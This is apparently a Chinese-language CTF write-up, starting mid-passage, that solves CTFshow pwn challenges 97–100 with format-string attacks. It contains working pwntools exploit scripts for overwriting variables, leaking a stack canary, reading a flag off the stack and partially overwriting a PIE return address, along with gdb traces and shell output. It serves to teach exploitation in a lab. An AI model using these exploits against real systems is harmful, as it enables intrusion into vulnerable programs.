check = 0x804B040
payload = fmtstr_payload(11, {check:1})
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 50
[*] Switching to interactive mode
[*] Process './pwn' stopped with exit code 0 (pid 50)
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Find a way to elevate your privileges!
* *************************************
You can use two command('cat /ctfshow_flag' && 'shutdown')
$Here you are:

caa@\xb0\x04\x08
Your privileges have been elevated to 'root'.
#cat /ctfshow_flag
flag{just_test_my_process}
[*] Got EOF while reading in interactive

pwn98

Hint:Canary?有没有办法绕过呢?

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位开启Canary,NX,部分开启RELRO

根据题目描述,很容易能猜到这题是要我们通过格式化字符串去泄漏Canary的值从而去绕过栈保护。

IDA查看main函数,跟进ctfshow函数

unsigned int ctfshow()
{
char s[40]; // [esp+4h] [ebp-34h] BYREF
unsigned int v2; // [esp+2Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
gets(s);
printf(s);
gets(s);
return __readgsdword(0x14u) ^ v2;
}

很明显的有栈溢出漏洞和格式化字符串漏洞,但是由于开启了Canary,直接溢出的话肯定是不行的,因此我们需要先通过格式化字符串漏洞去泄漏Canary的值,再进一步的利用

稍微看一下就能看到程序中还是存在后门函数:

int _stack_check()
{
puts("you_find_me_but_I_have_canary_protect_me!");
return system("/bin/sh");
}

利用格式化字符串漏洞的任意读,由于canary的最低字节是0x00,所以不能用%s的格式当作字符串来读,而应该使用%p/%x等当作一个数来读,计算好偏移,将 Canary 填入到相应的溢出位置,实现 ret 到后门函数中

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Find the vulnerability and then exploit it !
* *************************************
aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaa-0x804b000-0xe9fcbe34-0x8048716-0xffb56698-0x61616161-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025

偏移值5,最终偏移量(0x34-0x0c)/4 + 5 = 15[ 32 位下调用 printf 时,所有参数会从栈上传给它。格式化字符串里的 %n$p 是按照printf 可变参数列表的第 1 个参数开始数。每个 %n$p 实际读取的是 4 字节的栈值(一个参数)]

  • s 的地址ebp - 0x34
  • Canary (v2)ebp - 0xC
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28206)
elf = ELF('./pwn')
shell = elf.sym['__stack_check']
io.recv()
payload = "%15$x"
io.sendline(payload)
canary = int(io.recv(),16) #16进制字符串转成整数类型
log.info("Canary : 0x%x" % canary)
payload = cyclic(0x28) + p32(canary) + b'A'*0xC + p32(shell)
#填充缓冲区s[40]+ Canary值(绕过检查)+保存的ebp(填充EBP到返回地址之间的空隙)+shell(把返回地址改成后门函数的地址)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 105
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] Canary : 0x77ae9c00
[*] Switching to interactive mode
you_find_me_but_I_have_canary_protect_me!
$ ls
ctfshow_flag

这里仅仅是提前让大家学习了解如何绕过Canary保护,详细内容再Bypass Canary保护的时候会再详细讲解。原理在这里不再概述。

pwn99

Hint:fmt盲打(不是忘记放附件,是本身就没附件!!!)

没有附件,那么很明显,我们只能通过远程连接查看程序干了什么,一般来说,没有附件的题相对来说

会比有附件的逻辑更加简单。

直接连接:

$ nc pwn.challenge.ctf.show 28217
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Flag is on Stack !
* *************************************
aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaa-0x7ffd4eee4820-0x200-0x7fa6b7bfa031-0x46-0x7fa6b81004c0-0x2d70252d61616161-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0xa70252d70-0x7fa6b8106170-0x7fa6b8106170-0x7fa6b7ef3d38-0x7ffd4eee4a60
お前も舞うか?

根据Hint我们能看到flag还是在栈上,那么我们就可以通过去泄漏栈上的数据去查看flag

首先还是看一下,显而易见的能看出存在格式化字符串漏洞,既然告诉了我们flag在栈上,那么我们直接利用格式化字符串漏洞的任意读功能去尝试读一下试试

法一
暴力泄露

payload = b"a"*8+b"%p.%p"*2000

法二

用脚本扫描

from pwn import *
context.log_level = 'error' #只显示错误信息,减少干扰
def leak(payload):
io = remote('pwn.challenge.ctf.show',28217)
io.recv()
io.sendline(payload)
data = io.recvuntil(b'\n', drop=True)
if data.startswith(b'0x'):
print(p64(int(data, 16)))
io.close()
i = 1
while 1:
payload = f'%{i}$p'.encode() #构建payload并转换为字节类型
leak(payload)
i += 1
$ python3 exp.py
b'ctfshow{'
b'W0w_y0u_'
b'c@n_r3@1'
b'1y_d@nce'
b'!}

pwn100

看了这个师傅的CTFshow-pwn入门-pwn100 WP-CSDN博客

Hint:有些东西好像需要一定条件

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

64位保护全开意味着

  • FULL RELRO:不能通过修改GOT表劫持控制流。

  • PIE 开启:程序加载地址随机化,需泄露基址才能定位函数。

  • Canary:栈溢出无效,需用格式化字符串漏洞。

IDA查看main函数:

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-14h] BYREF
int v4; // [rsp+10h] [rbp-10h] BYREF
unsigned int int; // [rsp+14h] [rbp-Ch]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
initial(argc, argv, envp);
whattime();
v3 = 0;
v4 = 0;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
int = get_int();
if ( int != 2 )
break;
fmt_attack(&v3);
}
if ( int > 2 )
break;
if ( int == 1 )
leak(&v4);
}
if ( int == 3 )
get_flag();
if ( int == 4 )
{
puts("Bye!");
exit(0);
}
}
}

跟进whattime:

unsigned __int64 whattime()
{
__int64 v1; // [rsp+0h] [rbp-20h] BYREF
__int64 v2; // [rsp+8h] [rbp-18h] BYREF
__int64 v3; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("Hello my bro.");
printf("What time is it :");
_isoc99_scanf("%ld", &v1);
_isoc99_scanf("%ld", &v2);
_isoc99_scanf("%ld", &v3);
printf("Ok! time is %ld:%ld:%ld\n", v1, v2, v3);
return __readfsqword(0x28u) ^ v4;
} //没啥用

跟进menu

unsigned __int64 menu()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("1. leak");
puts("2. fmt_attack");
puts("3. get_flag");
puts("4. exit");
printf(">>");
return __readfsqword(0x28u) ^ v1;
}

跟进fmt_attack:

unsigned __int64 __fastcall fmt_attack(int *a1)
{
char format[56]; // [rsp+10h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+48h] [rbp-8h]

v3 = __readfsqword(0x28u);
memset(format, 0, 0x30u);
if ( *a1 > 0 )
{
puts("No way!");
exit(1);
}
*a1 = 1;
read_n(format, 40, format);
printf(format);
return __readfsqword(0x28u) ^ v3;
}

printf(format);明显的格式化字符串漏洞,可以看到这里有一个判定条件,我们每次使用该函数时,将*a1(v3)处的值改为零即可循环利用该函数。

在gdb中进行动态调试:

打断点到运行到代码*a1 = 1

$ gdb ./pwn

pwndbg> b fmt_attack
pwndbg> r
Hello my bro.
What time is it :2025
8
15
Ok! time is 2025:8:15
1. leak
2. fmt_attack
3. get_flag
4. exit
>>2. fmt_attack

pwndbg> disassemble fmt_attack
0x00006454ea400ea9 <+83>: mov DWORD PTR [rax],0x1 #*a1 = 1

pwndbg> b *0x00006454ea400ea9
pwndbg> c
pwndbg> info registers rax # 查看a1指针的值(rax寄存器)
rax 0x7fff9e224b7c 140735846435708
pwndbg> x/w $rax # 查看*a1当前的值
0x7fff9e224b7c: 0
pwndbg> ni
pwndbg> x/w $rax # 再次查看*a1的值
0x7fff9e224b7c: 1

运行到printf函数查看偏移:

pwndbg> n
0x7fff9e224b20.0x28.0x79eb78110a61.0x1999999999999999.(nil).(nil).0x7fff9e224b7c.0x70252e70252e7025.0x252e70252e70252e.0x2e70252...
  1. 前 6 个%p的含义(6个寄存器传参)
    • 0x7fff9e224b20format缓冲区的地址(即输入字符串的起始地址)
    • 0x28read_n的第二个参数(读取长度 40 字节)
    • 0x79eb78110a61read函数的内部地址(libc 中的代码)
    • 0x1999999999999999r8寄存器的值(与程序逻辑无关)
    • (nil):两个空指针(r9和部分栈数据)
  2. 第 7 个%p0x7fff9e224b7c
    • 这个值是v3变量的地址(即a1指针指向的内存),从之前的调试可知*a1已被设为1,符合程序逻辑。
  3. 从第 8 个%p开始(0x70252e70252e7025等)
    • 这些是你输入的字符串本身的 ASCII 值(如0x7025对应%p的十六进制表示),说明从第 8 个位置开始,printf开始解析你输入的字符串内容。

结论:格式化字符串的偏移为7

我们每次利用fmt_attack函数时,加上%7$n即可令*a1=0,即可重复利用fmt_attack。

$ gdb ./pwn

pwndbg> b fmt_attack
pwndbg> r
Hello my bro.
What time is it :2025
8
15
Ok! time is 2025:8:15
1. leak
2. fmt_attack
3. get_flag
4. exit
>>2. fmt_attack

pwndbg> x/gx $rbp+8 #main的返回地址0x00006542a9e0102c
0x7ffdc794ca98: 0x00006542a9e0102c
pwndbg> disassemble main
0x00006542a9e01027 <+113>: call 0x6542a9e00e56 <fmt_attack>
0x00006542a9e0102c <+118>: jmp 0x6542a9e0104b <main+149>
#elf_base = leak_ret - 0x102c(0x102c是返回地址在程序中的偏移)

pwndbg> n #单步执行到 call read_n
%17$p
pwndbg> n #单步执行到 call printf@plt
pwndbg> n
0x6542a9e0102c

pwndbg> stack 30
0a:0050│ rbp 0x7ffdc794ca90 —▸ 0x7ffdc794cac0 —▸ 0x7ffdc794cb60 —▸ 0x7ffdc794cbc0 ◂— 0
0b:0058│+008 0x7ffdc794ca98 —▸ 0x6542a9e0102c (main+118) ◂— jmp main+149
#0x7ffdc794cac0(上层rbp)-0x7ffdc794ca98=0x28

%7$p:对应a1指针指向的地址(&v3

%17$p:对应栈上main的返回地址→ 算出 ELF 基址(因为 PIE 开启)

;main
push rbp ; 保存调用者的 rbp(占用 8 字节)
mov rbp, rsp ; 设置新的栈帧基址
sub rsp, 20h ; 分配 0x20(32)字节的栈空间
        高地址
+---------------------+
| caller's stack |
+---------------------+
| main 的返回地址 | <-- 调用 main 函数的返回地址 (8 bytes)
--------+---------------------+ <-- main 的 rbp
| 保存的 rbp | (8 bytes)
+---------------------+
0x28 | |
| main 局部变量区 | <-- 0x20 (32 bytes) 空间
| |
--------+---------------------+
| fmt_attack 返回地址 | <-- 这就是要修改的目标 (8 bytes)
+---------------------+
| 保存的 rbp | <-- fmt_attack 的 rbp (8 bytes)
+---------------------+
|fmt_attack 局部变量 |
+---------------------+
低地址
#泄露返回地址的栈位置(用来存返回地址)
fmt(b'%7$n-%16$p') #%7$n重置*a1,%16$p泄露上层rbp
io.recvuntil('-')
ret_addr = int(io.recvuntil('\n')[:-1],16)-0x28 #返回地址位置
log.success("ret_addr: "+hex(ret_addr))

#泄露返回地址的值
fmt(b'%7$n+%17$p')
io.recvuntil(b'+')
ret_value = int(io.recvuntil(b'\n')[:-1],16)
elf_base = ret_value - 0x102c #计算程序基址
void __noreturn get_flag()
{
__int64 p_format; // rdx
int fd; // [rsp+Ch] [rbp-64h]
char s2[88]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int64 v3; // [rsp+68h] [rbp-8h]

v3 = __readfsqword(0x28u); // 栈保护canary
memset(s2, 0, 0x50u); // 初始化s2缓冲区
puts("Flag is here ! Come on !!");
read_n(s2, 64, p_format); // 读取64字节输入到s2
if ( !strncmp(secret, s2, 0x40u) ) // 比较s2与secret的前64字节
{
close(1);
fd = open("/flag", 0);
read(fd, s2, 0x50u);
printf(s2);
exit(0);
}
puts("No way!");
exit(1);
}

直接跳转到close函数后:

.text:0000000000000F51                 call    close
.text:0000000000000F56 mov esi, 0 ; oflag
#设置打开文件的模式(O_RDONLY,只读),“验证通过后、打开/flag前” 的关键节点
.text:0000000000000F5B lea rdi, aFlag ; "/flag"
#加载文件名"/flag"到rdi寄存器
.text:0000000000000F62 mov eax, 0
#准备调用open系统调用(eax=0表示无额外参数)
.text:0000000000000F67 call open
#实际打开"/flag"文件

然后直接更改低2字节(如0xffff)获取目标地址的低 2 字节(16 位),用于通过格式化字符串的%hn进行 “部分写”(partial write),从而修改返回地址】:

(elf_base+0xf56)&0xffff

payload = b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%10$hn'

'''
b'%' + str(...) + b'c':这部分是控制输出字符数:构造格式字符串让printf输出指定数量的字符。
假设(elf_base + 0xf56) & 0xffff的结果是N(比如0xf56对应的十进制是3926),则这部分会变成b'%3926c'。
%3926c的含义是:让printf输出 3926 个字符(通常是填充空格,不影响其他数据),此时printf的总输出字符数就是 3926。

b'%10$hn':这部分是指定写入地址和长度:通过格式化字符串的参数索引,将输出字符数写入目标地址。
%10$h:10$表示操作第 10 个参数(即我们之前计算的ret_addr——main返回地址在栈上的存储位置);h表示操作 2 字节数据(对应%hn)。
%10$hn的作用是:将printf输出的总字符数(即上面的N)写入到第 10 个参数指向的地址(ret_addr)中。

则完整payload 是b'%3926c%10$hn'
'''
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
context.terminal=['tmux','new-window']
def fmt(payload):
io.recvuntil(b">>")
io.sendline(b'2')
io.sendline(payload)

io.sendline(b'20 00 00')

fmt(b'%7$n-%16$p')
io.recvuntil(b'-')
ret_addr = int(io.recvuntil(b'\n')[:-1],16)-0x28
log.success("ret_addr: "+hex(ret_addr))

fmt(b'%7$n+%17$p')
io.recvuntil(b'+')
ret_value = int(io.recvuntil(b'\n')[:-1],16)
elf_base = ret_value - 0x102c

payload = b"%7$hn"+b"%p"*0x20
payload = b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%1$hn'
payload = payload.ljust(0x10,b'b')
payload += b'aaaaaaaa'
io.recvuntil(b">>")
io.sendline(b'2')
gdb.attach(io)
pause()
io.sendline(payload)
pause()
[*] Paused (press any to continue)
[DEBUG] Sent 0x19 bytes:
b'%3926c%1$hnbbbbbaaaaaaaa\n'
[*] Paused (press any to continue)
 _ 0x628d35800ecc <fmt_attack+118>    call   printf@plt                  <printf@plt>
format: 0x7ffe9c880bc0 __ '%3926c%1$hnbbbbbaaaaaaaa\n'
vararg: 0x7ffe9c880bc0 __ '%3926c%1$hnbbbbbaaaaaaaa\n'

0x628d35800ed1 <fmt_attack+123> nop
0x628d35800ed2 <fmt_attack+124> mov rax, qword ptr [rbp - 8]
0x628d35800ed6 <fmt_attack+128> xor rax, qword ptr fs:[0x28]
0x628d35800edf <fmt_attack+137> je fmt_attack+144 <fmt_attack+144>

0x628d35800ee1 <fmt_attack+139> call __stack_chk_fail@plt <__stack_chk_fail@plt>
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ STACK ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
00:0000x rsp 0x7ffe9c880bb0 __ 0
01:0008x-048 0x7ffe9c880bb8 __ 0x7ffe9c880c1c __ 1
02:0010x rdi rsi 0x7ffe9c880bc0 __ '%3926c%1$hnbbbbbaaaaaaaa\n'
03:0018x-038 0x7ffe9c880bc8 __ '$hnbbbbbaaaaaaaa\n'
04:0020x-030 0x7ffe9c880bd0 __ 'aaaaaaaa\n'
05:0028x-028 0x7ffe9c880bd8 __ 0xa /* '\n' */
06:0030x-020 0x7ffe9c880be0 __ 0
07:0038x-018 0x7ffe9c880be8 __ 0

调试,在弹出的窗口输入n,再在原窗口按下任意键继续,单步执行到printf@plt,可以看到aaaaaaaa在栈上第五个,加上寄存器五个,就是第十个参数

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show', 28208)
def fmt(payload):
io.recvuntil(b">>")
io.sendline(b'2')
io.sendline(payload)

io.sendline(b'20 00 00')

fmt(b'%7$n-%16$p')
io.recvuntil(b'-')
ret_addr = int(io.recvuntil(b'\n')[:-1],16)-0x28
log.success("ret_addr: "+hex(ret_addr))

fmt(b'%7$n+%17$p')
io.recvuntil(b'+')
ret_value = int(io.recvuntil(b'\n')[:-1],16)

elf_base = ret_value - 0x102c
payload = b"%7$hn"+b"%p"*0x20 #枚举栈上的参数值,验证偏移是否正确
payload = b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%10$hn'
payload = payload.ljust(0x10,b'a')
payload += p64(ret_addr)
fmt(payload)
log.success("ret_value: "+hex(ret_value))
log.success("ret_addr: "+hex(ret_addr))
io.interactive()
$ python3 exp.py
[+] Opening connection to pwn.challenge.ctf.show on port 28208: Done
[+] ret_addr: 0x7ffe054431a8
[+] ret_value: 0x55a5194a202c
[+] ret_addr: 0x7ffe054431a8
[*] Switching to interactive mode
$ `aaaa\xa81D\x05\xfe\x7fctfshow{32344162-2afa-4544-b0e9-d1d45d4a5fc5}
\xcdD\xd01D\x05\xfe\x7f[*] Got EOF while reading in interactive